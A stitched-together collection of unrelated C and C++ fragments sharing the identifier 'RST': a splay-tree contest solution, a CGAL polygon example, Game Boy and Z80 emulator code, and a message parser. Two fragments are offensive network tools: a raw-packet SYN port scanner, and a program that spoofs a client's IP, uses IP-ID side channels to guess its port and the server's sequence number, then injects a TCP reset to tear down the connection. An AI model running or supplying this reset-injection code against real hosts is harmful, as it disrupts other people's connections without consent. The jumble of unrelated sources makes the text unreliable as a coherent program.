int main()
{
//freopen("in.txt", "r", stdin);
//freopen("out.txt", "w", stdout);
#define gc getchar()
while (scanf("%d %d", &n, &b) != EOF)
{
gc;
RST(p, l, r);
RST(ky, sz);
root = total = ans = d = 0;
Insert(INF), ky[0] = INF;
int t;
DO(n)
{
char cmd = gc;
gc; //scanf(" %c", &cmd);
RD(t);
switch (cmd)
{
case 'I':
Insert(t);
break;
case 'A':
d -= t;
break;
case 'S':
d += t, Splay(Search());
ans += sz[l[root]], sz[root] -= sz[l[root]], l[root] = 0;
break;
default:
if (t >= sz[root]) puts("-1");
else printf("%d\n", ky[Select(sz[root] - t)] + b - d);
}
}
printf("%d\n", ans);
}
}
int
main(int argc, char **argv)
{
struct layer *head,*tcp;
struct TCPSocket ts;
struct MAC imac,dmac;
uint32_t ip,dip,gip;
uint16_t eport;
int n;
if(argc < 6)
usage(*argv);
if(if_menu(&imac) < 0)
exit(1);
str_to_ip(argv[1],&ip);
str_to_ip(argv[2],&dip);
str_to_ip(argv[5],&gip);
if( ARPRequest(&imac,&dmac,ip,gip,5) < 0 ){
fprintf(stderr,"error: no route to host.\n");
exit(1);
}
ARPReply(&imac,ip,&dmac,gip);
eport = atoi(argv[4]);
createSocket(&ts,&imac,&dmac,ip,dip,atoi(argv[3]),atoi(argv[3]));
filterDatalink("tcp");
head = NULL;
while(!kbhit()){
if(ts.hostport++ < eport)
SYN(&ts);
if( ( head = recvlayers(&n) ) == NULL)
continue;
if( (tcp = findlayer(head,LT_TCP) ) != NULL ){
struct tcphdr *t;
t = (xtcp)tcp->proto;
if( ( ( t->th_flags & TH_SYN ) == TH_SYN) && ( ( t->th_flags & TH_ACK ) == TH_ACK) ){
printf("recv: SYN-ACK from port %d\n",ntohs(t->th_sport));
printlayers(tcp);
RST(&ts);
}
}
rmlayers(head);
}
closeDatalink();
exit(0);
}
int
main(int argc, char **argv)
{
struct layer *proto;
struct MAC localmac,gwmac,cli_mac;
uint32_t real_ip,spoof_ip,gw_ip,client_ip,server_ip,dly,
dly_serv;
struct TCPSocket ts;
struct datalink icmp_dl,dl;
uint16_t start_port,end_port,server_port,
ip_id_a,ip_id_b,ip_id_d;
unsigned long i;
unsigned short guess_port,min_delta=-1;
unsigned long guess_serv_seq,serv_seq=0;
uint32_t start_guess,end_guess;
int guess_inc;
char icmp_filter[256];
if( argc < 9 )
usage(*argv);
if( argc >= 10){
errno = 0;
serv_seq = strtoul(argv[9],NULL,10);
if(errno)
serv_seq =0;
}
srand(time(NULL));
memset(&dl,0,sizeof(dl));
if( if_openbyname(&dl,argv[1]) < 0 ){
fprintf(stderr,"open_link_byname failed\n");
return 1;
}
memset(&icmp_dl,0,sizeof(dl));
if( if_openbyname(&icmp_dl,argv[1]) < 0 ){
fprintf(stderr,"open_link_byname failed\n");
return 1;
}
guess_port = start_port;
str_to_ip(argv[2],&real_ip);
str_to_ip(argv[3],&gw_ip);
str_to_ip(argv[4],&spoof_ip);
str_to_ip(argv[5],&server_ip);
memcpy(&localmac.mac,dl.dl_mac,6);
snprintf(icmp_filter,sizeof(icmp_filter),"icmp and icmp[0] = 0 and "
"((src %s and dst %s) or (src %s and dst %s))",
argv[4],argv[2],argv[5],argv[2]);
filterDatalink(&icmp_dl,icmp_filter);
if( dl.dl_pcap->linktype == DLT_EN10MB ){
if( ARPRequest(&dl,&localmac,&gwmac,real_ip,server_ip,5) < 0 ){
fprintf(stderr,"lan gateway did not reply arp\n");
exit(1);
}
if( ARPRequest(&dl,&localmac,&cli_mac,real_ip,spoof_ip,5) < 0 ){
fprintf(stderr,"lan gateway did not reply arp\n");
exit(1);
}
}
start_port = atoi(argv[6]);
end_port = atoi(argv[7]);
server_port = atoi(argv[8]);
createSocket(&ts,&localmac,&gwmac,spoof_ip,
server_ip,start_port,server_port);
ts.rcvwin = 0;
ip_id_a = ip_id_b = ip_id_d = 0;
echo_get_id(&icmp_dl,&localmac,&gwmac,real_ip,server_ip,
&dly,&ip_id_a);
printf("delay to server= %lu\n",dly_serv);
echo_get_id(&icmp_dl,&localmac,&cli_mac,real_ip,spoof_ip,
&dly,&ip_id_a);
printf("delay = %lu\n",dly);
for( i = start_port; i<= end_port; i++ ){
SYN(&ts,&dl);
usleep((dly+dly_serv));
echo_get_id(&icmp_dl,&localmac,&cli_mac,real_ip,spoof_ip,
&dly,&ip_id_b);
ip_id_d = ip_id_b - ip_id_a;
ip_id_a = ip_id_b;
if(ip_id_d < min_delta){
min_delta = ip_id_d;
guess_port = i;
}
printf("for port %d ip_id delta = %x\n",ts.port,ip_id_d); if(ip_id_d == 0 ){
printf( " the client port is: %d\n",ts.port); exit(0);
}
ts.port++;
ts.seq++;
}
printf("guessed port is %d\n",guess_port);
ts.ip = server_ip;
ts.port = server_port;
ts.hostip = spoof_ip;
ts.hostport = guess_port;
printf("finding serv.seq using 16k window\n");
min_delta = -1;
if(serv_seq != 0 ){
ts.seq = serv_seq+65536;
ts.gatewaymac = cli_mac;
echo_get_id(&icmp_dl,&localmac,&gwmac,real_ip,spoof_ip,
&dly,&ip_id_a);
ts.ack = 0;
ACK(&ts,&dl);
//ts.ack = 2<<30;
//ACK(&ts,&dl);
echo_get_id(&icmp_dl,&localmac,&gwmac,real_ip,spoof_ip,
&dly,&ip_id_b);
ip_id_d = ip_id_b - ip_id_a;
printf("for seq %lu delta = %d\n",serv_seq,ip_id_d);
ts.seq = serv_seq;
echo_get_id(&icmp_dl,&localmac,&gwmac,real_ip,spoof_ip,
&dly,&ip_id_a);
ts.ack = 0;
ACK(&ts,&dl);
//ts.ack = 2<<30;
//ACK(&ts,&dl);
echo_get_id(&icmp_dl,&localmac,&gwmac,real_ip,spoof_ip,
&dly,&ip_id_b);
ip_id_d = ip_id_b - ip_id_a;
printf("for seq %lu delta = %d\n",serv_seq+65536,ip_id_d);
closeDatalink(&dl);
closeDatalink(&icmp_dl);
exit(0);
}
ip_id_a = ip_id_b = ip_id_d = 0;
ts.gatewaymac = cli_mac;
echo_get_id(&icmp_dl,&localmac,&gwmac,real_ip,spoof_ip,
&dly,&ip_id_a);
start_guess = 0xffffffff;
end_guess = 16385;
guess_inc = -16384;
for( i = start_guess; abs(end_guess-i)>=0 ; i +=guess_inc ){
ts.ack = 0;
ts.seq = i;
ACK(&ts,&dl);
//ts.ack = 2<<30;
//ts.seq=i;
ACK(&ts,&dl);
echo_get_id(&icmp_dl,&localmac,&gwmac,real_ip,spoof_ip,
&dly,&ip_id_b);
ip_id_d = ip_id_b - ip_id_a;
ip_id_a = ip_id_b;
if(ip_id_d < min_delta){
min_delta = ip_id_d;
guess_serv_seq = i;
if(min_delta == 1)
{
printf("for seq %lu ip_id delta = %x\n",ts.seq,ip_id_d);
RST(&ts,&dl);
exit(0);
}
}
printf("for seq %lu ip_id delta = %x\n",ts.seq,ip_id_d);
}
printf("guessed sequence = %lu\n",guess_serv_seq);
ts.seq = guess_serv_seq;
RST(&ts,&dl);
closeDatalink(&dl);
closeDatalink(&icmp_dl);
return 0;
}
int main()
{
Point r1[3] = { Point(20,15), Point(25,5), Point(30,15) };
//Point s1[3] = { Point(40,15), Point(40,5) };
Point t1[3] = { Point(20,10), Point(30,10), Point(25, 15) };
std::list<std::pair<Point*,Point*> > polylines;
polylines.push_back(std::make_pair(r1+0, r1+3));
//polylines.push_back(std::make_pair(s1+0, s1+2));
polylines.push_back(std::make_pair(t1+0, t1+3));
Nef_polyhedron RST(polylines.begin(), polylines.end(), Nef_polyhedron::POLYLINES);
std::cout << RST << std::endl;
Explorer explorer = RST.explorer();
// The first face is the infinite one. It has no outer face cycle but only holes
Face_const_iterator fit = explorer.faces_begin();
std::cout << "explorer.mark(explorer.faces_begin()) " << ((explorer.mark(fit))? "is part of polygon" : "is not part of polygon") << std::endl;
for(Hole_const_iterator hit = explorer.holes_begin(fit); hit != explorer.holes_end(fit); hit++) {
std::cout << " A hole" << std::endl;
Halfedge_around_face_const_circulator hafc(hit), done(hit);
do {
Vertex_const_handle vh = explorer.target(hafc);
std::cout << explorer.point(vh) << " [" << explorer.point(vh).x().exact() << " | " << explorer.point(vh).y().exact() << "], " ;
hafc++;
} while(hafc != done);
std::cout << std::endl;
}
// The other faces have outer face cycles, and they may have holes
for( fit++;
fit != explorer.faces_end();
fit++) {
Halfedge_around_face_const_circulator hafc = explorer.face_cycle(fit), done(hafc);
std::cout << "face: " << ((explorer.mark(fit))? "is part of polygon" : "is not part of polygon") << std::endl;
do {
Vertex_const_handle vh = explorer.target(hafc);
std::cout << explorer.point(vh) << " [" << explorer.point(vh).x().exact() << " | " << explorer.point(vh).y().exact() << "], " ;
hafc++;
} while(hafc != done);
std::cout << std::endl;
for(Hole_const_iterator hit = explorer.holes_begin(fit); hit != explorer.holes_end(fit); hit++) {
std::cout << " A hole" << std::endl;
Halfedge_around_face_const_circulator hafc(hit), done(hit);
do {
Vertex_const_handle vh = explorer.target(hafc);
std::cout << explorer.point(vh) << " [" << explorer.point(vh).x().exact() << " | " << explorer.point(vh).y().exact() << "], " ;
hafc++;
} while(hafc != done);
std::cout << std::endl;
}
}
return 0;
}
int cpu::cpu_emulate(int ciclos){
UINT8 op,b,cbop;
UINT32 i;
UINT32 clen = 10;
UINT16 w;
static cpuReg acc;
i = ciclos;
//next:
while((!CPU->IME) && i > 0){
mt.lock();
op = FETCH;
ciclos = cycles_table[op];
switch(op)
{
case 0x00: /* NOP */
case 0x40: /* LD B,B */
case 0x49: /* LD C,C */
case 0x52: /* LD D,D */
case 0x5B: /* LD E,E */
case 0x64: /* LD H,H */
case 0x6D: /* LD L,L */
case 0x7F: /* LD A,A */
break;
case 0x41: /* LD B,C */
B = C; break;
case 0x42: /* LD B,D */
B = D; break;
case 0x43: /* LD B,E */
B = E; break;
case 0x44: /* LD B,H */
B = H; break;
case 0x45: /* LD B,L */
B = L; break;
case 0x46: /* LD B,(HL) */
B = memoria::readByte(xHL); break;
case 0x47: /* LD B,A */
B = A; break;
case 0x48: /* LD C,B */
C = B; break;
case 0x4A: /* LD C,D */
C = D; break;
case 0x4B: /* LD C,E */
C = E; break;
case 0x4C: /* LD C,H */
C = H; break;
case 0x4D: /* LD C,L */
C = L; break;
case 0x4E: /* LD C,(HL) */
C = memoria::readByte(xHL); break;
case 0x4F: /* LD C,A */
C = A; break;
case 0x50: /* LD D,B */
D = B; break;
case 0x51: /* LD D,C */
D = C; break;
case 0x53: /* LD D,E */
D = E; break;
case 0x54: /* LD D,H */
D = H; break;
case 0x55: /* LD D,L */
D = L; break;
case 0x56: /* LD D,(HL) */
D = memoria::readByte(xHL); break;
case 0x57: /* LD D,A */
D = A; break;
case 0x58: /* LD E,B */
E = B; break;
case 0x59: /* LD E,C */
E = C; break;
case 0x5A: /* LD E,D */
E = D; break;
case 0x5C: /* LD E,H */
E = H; break;
case 0x5D: /* LD E,L */
E = L; break;
case 0x5E: /* LD E,(HL) */
E = memoria::readByte(xHL); break;
case 0x5F: /* LD E,A */
E = A; break;
case 0x60: /* LD H,B */
H = B; break;
case 0x61: /* LD H,C */
H = C; break;
case 0x62: /* LD H,D */
H = D; break;
case 0x63: /* LD H,E */
H = E; break;
case 0x65: /* LD H,L */
H = L; break;
case 0x66: /* LD H,(HL) */
H = memoria::readByte(xHL); break;
case 0x67: /* LD H,A */
H = A; break;
case 0x68: /* LD L,B */
L = B; break;
case 0x69: /* LD L,C */
L = C; break;
case 0x6A: /* LD L,D */
L = D; break;
case 0x6B: /* LD L,E */
L = E; break;
case 0x6C: /* LD L,H */
L = H; break;
case 0x6E: /* LD L,(HL) */
L = memoria::readByte(xHL); break;
case 0x6F: /* LD L,A */
L = A; break;
case 0x70: /* LD (HL),B */
b = B; goto __LD_HL;
case 0x71: /* LD (HL),C */
b = C; goto __LD_HL;
case 0x72: /* LD (HL),D */
b = D; goto __LD_HL;
case 0x73: /* LD (HL),E */
b = E; goto __LD_HL;
case 0x74: /* LD (HL),H */
b = H; goto __LD_HL;
case 0x75: /* LD (HL),L */
b = L; goto __LD_HL;
case 0x77: /* LD (HL),A */
b = A;
__LD_HL:
memoria::writeByte(xHL,b);
break;
case 0x78: /* LD A,B */
A = B; break;
case 0x79: /* LD A,C */
A = C; break;
case 0x7A: /* LD A,D */
A = D; break;
case 0x7B: /* LD A,E */
A = E; break;
case 0x7C: /* LD A,H */
A = H; break;
case 0x7D: /* LD A,L */
A = L; break;
case 0x7E: /* LD A,(HL) */
A = memoria::readByte(xHL); break;
case 0x01: /* LD BC,imm */
CPU->BC.w = memoria::readWord(xPC); CPU->PC += 2; break;
case 0x11: /* LD DE,imm */
CPU->DE.w = memoria::readWord(xPC); CPU->PC += 2; break;
case 0x21: /* LD HL,imm */
CPU->HL.w = memoria::readWord(xPC); CPU->PC += 2; break;
case 0x31: /* LD SP,imm */
CPU->SP = memoria::readWord(xPC); CPU->PC += 2; break;
case 0x02: /* LD (BC),A */
memoria::writeByte(CPU->BC.w, A); break;
case 0x0A: /* LD A,(BC) */
A = memoria::readByte(CPU->BC.w); break;
case 0x12: /* LD (DE),A */
memoria::writeByte(CPU->BC.w, A); break;
case 0x1A: /* LD A,(DE) */
A = memoria::readByte(CPU->DE.w); break;
case 0x22: /* LDI (HL),A */
memoria::writeByte(xHL, A); CPU->HL.w++; break;
case 0x2A: /* LDI A,(HL) */
A = memoria::readByte(xHL); CPU->HL.w++; break;
case 0x32: /* LDD (HL),A */
memoria::writeByte(xHL, A); CPU->HL.w--; break;
case 0x3A: /* LDD A,(HL) */
A = memoria::readByte(xHL); CPU->HL.w--; break;
case 0x06: /* LD B,imm */
B = FETCH; break;
case 0x0E: /* LD C,imm */
C = FETCH; break;
case 0x16: /* LD D,imm */
D = FETCH; break;
case 0x1E: /* LD E,imm */
E = FETCH; break;
case 0x26: /* LD H,imm */
H = FETCH; break;
case 0x2E: /* LD L,imm */
L = FETCH; break;
case 0x36: /* LD (HL),imm */
b = FETCH; memoria::writeByte(xHL, b); break;
case 0x3E: /* LD A,imm */
A = FETCH; break;
case 0x08: /* LD (imm),CPU->SP */
memoria::writeWord(memoria::readWord(xPC), CPU->SP); CPU->PC += 2; break;
case 0xEA: /* LD (imm),A */
memoria::writeByte(memoria::readWord(xPC), A); CPU->PC += 2; break;
case 0xF8: /* LD HL,CPU->SP+imm */
b = FETCH; LDHLSP(b); break;
case 0xF9: /* LD CPU->SP,HL */
CPU->SP = CPU->HL.w; break;
case 0xFA: /* LD A,(imm) */
A = memoria::readByte(memoria::readWord(xPC)); CPU->PC += 2; break;
ALU_CASES(0x80, 0xC6, ADD, __ADD)
ALU_CASES(0x88, 0xCE, ADC, __ADC)
ALU_CASES(0x90, 0xD6, SUB, __SUB)
ALU_CASES(0x98, 0xDE, SBC, __SBC)
ALU_CASES(0xA0, 0xE6, AND, __AND)
ALU_CASES(0xA8, 0xEE, XOR, __XOR)
ALU_CASES(0xB0, 0xF6, OR, __OR)
ALU_CASES(0xB8, 0xFE, CP, __CP)
case 0x09: /* ADD HL,BC */
w = CPU->BC.w; goto __ADDW;
case 0x19: /* ADD HL,DE */
w = CPU->DE.w; goto __ADDW;
case 0x39: /* ADD HL,CPU->SP */
w = CPU->SP; goto __ADDW;
case 0x29: /* ADD HL,HL */
w = CPU->HL.w;
__ADDW:
ADDW(w);
break;
case 0x04: /* INC B */
INC(B); break;
case 0x0C: /* INC C */
INC(C); break;
case 0x14: /* INC D */
INC(D); break;
case 0x1C: /* INC E */
INC(E); break;
case 0x24: /* INC H */
INC(H); break;
case 0x2C: /* INC L */
INC(L); break;
case 0x34: /* INC (HL) */
b = memoria::readByte(xHL);
INC(b);
memoria::writeByte(xHL, b);
break;
case 0x3C: /* INC A */
INC(A); break;
case 0x03: /* INC BC */
INCW(CPU->BC.w); break;
case 0x13: /* INC DE */
INCW(CPU->DE.w); break;
case 0x23: /* INC HL */
INCW(CPU->HL.w); break;
case 0x33: /* INC CPU->SP */
INCW(CPU->SP); break;
case 0x05: /* DEC B */
DEC(B); break;
case 0x0D: /* DEC C */
DEC(C); break;
case 0x15: /* DEC D */
DEC(D); break;
case 0x1D: /* DEC E */
DEC(E); break;
case 0x25: /* DEC H */
DEC(H); break;
case 0x2D: /* DEC L */
DEC(L); break;
case 0x35: /* DEC (HL) */
b = memoria::readByte(xHL);
DEC(b);
memoria::writeByte(xHL, b);
break;
case 0x3D: /* DEC A */
DEC(A); break;
case 0x0B: /* DEC BC */
DECW(CPU->BC.w); break;
case 0x1B: /* DEC DE */
DECW(CPU->DE.w); break;
case 0x2B: /* DEC HL */
DECW(CPU->HL.w); break;
case 0x3B: /* DEC CPU->SP */
DECW(CPU->SP); break;
case 0x07: /* RLCA */
RLCA(A); break;
case 0x0F: /* RRCA */
RRCA(A); break;
case 0x17: /* RLA */
RLA(A); break;
case 0x1F: /* RRA */
RRA(A); break;
case 0x27: /* DAA */
DAA; break;
case 0x2F: /* CPL */
CPL(A); break;
case 0x18: /* JR */
__JR:
JR; break;
case 0x20: /* JR NZ */
if (!(F&FZ)) goto __JR; NOJR; break;
case 0x28: /* JR Z */
if (F&FZ) goto __JR; NOJR; break;
case 0x30: /* JR NC */
if (!(F&FC)) goto __JR; NOJR; break;
case 0x38: /* JR C */
if (F&FC) goto __JR; NOJR; break;
case 0xC3: /* JP */
__JP:
JP; break;
case 0xC2: /* JP NZ */
if (!(F&FZ)) goto __JP; NOJP; break;
case 0xCA: /* JP Z */
if (F&FZ) goto __JP; NOJP; break;
case 0xD2: /* JP NC */
if (!(F&FC)) goto __JP; NOJP; break;
case 0xDA: /* JP C */
if (F&FC) goto __JP; NOJP; break;
case 0xE9: /* JP HL */
CPU->PC = CPU->HL.w; break;
case 0xC9: /* RET */
__RET:
RET; break;
case 0xC0: /* RET NZ */
if (!(F&FZ)) goto __RET; NORET; break;
case 0xC8: /* RET Z */
if (F&FZ) goto __RET; NORET; break;
case 0xD0: /* RET NC */
if (!(F&FC)) goto __RET; NORET; break;
case 0xD8: /* RET C */
if (F&FC) goto __RET; NORET; break;
case 0xD9: /* RETI */
CPU->IME = CPU->IMA = 1; goto __RET;
case 0xCD: /* CALL */
__CALL:
CALL; break;
case 0xC4: /* CALL NZ */
if (!(F&FZ)) goto __CALL; NOCALL; break;
case 0xCC: /* CALL Z */
if (F&FZ) goto __CALL; NOCALL; break;
case 0xD4: /* CALL NC */
if (!(F&FC)) goto __CALL; NOCALL; break;
case 0xDC: /* CALL C */
if (F&FC) goto __CALL; NOCALL; break;
case 0xC7: /* RST 0 */
b = 0x00; goto __RST;
case 0xCF: /* RST 8 */
b = 0x08; goto __RST;
case 0xD7: /* RST 10 */
b = 0x10; goto __RST;
case 0xDF: /* RST 18 */
b = 0x18; goto __RST;
case 0xE7: /* RST 20 */
b = 0x20; goto __RST;
case 0xEF: /* RST 28 */
b = 0x28; goto __RST;
case 0xF7: /* RST 30 */
b = 0x30; goto __RST;
case 0xFF: /* RST 38 */
b = 0x38;
__RST:
RST(b); break;
case 0xC1: /* POP BC */
POP(CPU->BC.w); break;
case 0xC5: /* PUSH BC */
PUSH(CPU->BC.w); break;
case 0xD1: /* POP DE */
POP(CPU->DE.w); break;
case 0xD5: /* PUSH DE */
PUSH(CPU->DE.w); break;
case 0xE1: /* POP HL */
POP(CPU->HL.w); break;
case 0xE5: /* PUSH HL */
PUSH(CPU->HL.w); break;
case 0xF1: /* POP AF */
POP(CPU->AF.w); break;
case 0xF5: /* PUSH AF */
PUSH(CPU->AF.w); break;
case 0xE8: /* ADD CPU->SP,imm */
b = FETCH; ADDSP(b); break;
case 0xF3: /* DI */
DI; break;
case 0xFB: /* EI */
EI; break;
case 0x37: /* SCF */
SCF; break;
case 0x3F: /* CCF */
CCF; break;
case 0x10: /* STOP */
break; //to do//
case 0x76: /* HALT */
CPU->halt = 1;
break;
case 0xCB: /* CB prefix */
cbop = FETCH;
clen = cb_cycles_table[cbop];
switch (cbop)
{
CB_REG_CASES(B, 0);
CB_REG_CASES(C, 1);
CB_REG_CASES(D, 2);
CB_REG_CASES(E, 3);
CB_REG_CASES(H, 4);
CB_REG_CASES(L, 5);
CB_REG_CASES(A, 7);
default:
b = memoria::readByte(xHL);
switch(cbop)
{
CB_REG_CASES(b, 6);
}
if ((cbop & 0xC0) != 0x40) /* exclude BIT */
memoria::writeByte(xHL, b);
break;
}
break;
default:
printf("erro"); break;
}
clen <<= 1;
i -= clen;
emit onEndProcess((UINT32)op);
mt.unlock();
//msleep(600);
}
//if(i >0) goto next;
wt.wait(&mt);
return ciclos-i;
}
void input(FILE *fd, void (*cb)(struct message *), struct message *p)
{
int c;
#define ST(X) do { p->status = (X); } while(0)
#define MK(X) do { p->X = p->p; } while(0)
#define RST() do { \
ST(AT_BOM); \
p->p = p->buffer; \
p->sz = p->argc = 0; \
p->org = p->cmd = NULL; \
} while (0)
#define ADDCH(X) do { \
*p->p++ = X; p->sz++; \
if (p->sz >= (sizeof p->buffer)-1) \
RST(); \
} while (0)
#define ADDARG(s) do { \
assert(p->argc < MAX_ARGS); \
p->argv[p->argc] = s; \
if (s) p->argc++; \
} while (0)
RST();
while ((c = fgetc(fd)) != EOF) {
switch (p->status) {
case AT_BOM:
switch (c) {
case ':': ST(IN_ORG); MK(org); break;
case ' ': break; /* ignored */
case '\r': ST(IN_EOL); break;
case '\n': RST(); break;
default: ST(IN_CMD); MK(cmd); ADDCH(c); break;
} break;
case IN_ORG:
switch(c) {
case ' ': ST(IN_SPC0); ADDCH(0); break;
case '\r': ST(IN_EOL); ADDCH(0); break;
case '\n': RST(); break;
case ':': /* NO BREAK HERE, valid char */
default: ADDCH(c); break;
} break;
case IN_SPC0:
switch(c) {
case ' ': break; /* ignore extra */
case '\r': ST(IN_EOL); break;
case '\n': RST(); break;
default: ST(IN_CMD); MK(cmd); ADDCH(c); break;
} break;
case IN_CMD:
switch(c) {
case ' ': ST(IN_SPC1); ADDCH(0); break;
case '\r': ST(IN_EOL); ADDCH(0); break;
case '\n': ADDARG(NULL); cb(p); RST(); break;
case ':': /* NO BREAK HERE, valid char */
default: ADDCH(c); break;
} break;
case IN_SPC1:
switch(c) {
case ' ': break; /* ignore */
case '\r': ST(IN_EOL); break;
case '\n': ADDARG(NULL); cb(p); RST(); break;
case ':': ST(IN_ARGN); ADDARG(p->p); break;
default: ST(IN_ARG); ADDARG(p->p); ADDCH(c); break;
} break;
case IN_ARG:
switch (c) {
case ' ': ST(IN_SPC1); ADDCH(0); break;
case '\r': ST(IN_EOL); ADDCH(0); break;
case '\n': ADDARG(NULL); cb(p); RST(); break;
case ':':
default: ADDCH(c); break;
} break;
case IN_ARGN:
switch (c) {
case '\r': ST(IN_EOL); ADDCH(0); break;
case '\n': ADDARG(NULL); cb(p); RST(); break;
default: ADDCH(c); break;
} break;
case IN_EOL:
switch (c) {
case '\r': break;
case '\n': ADDARG(NULL); cb(p); RST(); break;
case ':': RST(); ST(IN_ORG); break;
default: RST(); break;
} break;
} /* switch */
} /* while */
} /* input */
template<class T> inline void RST(T &A0, T &A1, T &A2)
{
RST(A0), RST(A1), RST(A2);
}
/*RST 0x38*/
static void op_0xff(Z80EX_CONTEXT *cpu)
{
RST(0x38, /*wr*/5,8);
T_WAIT_UNTIL(11);
return;
}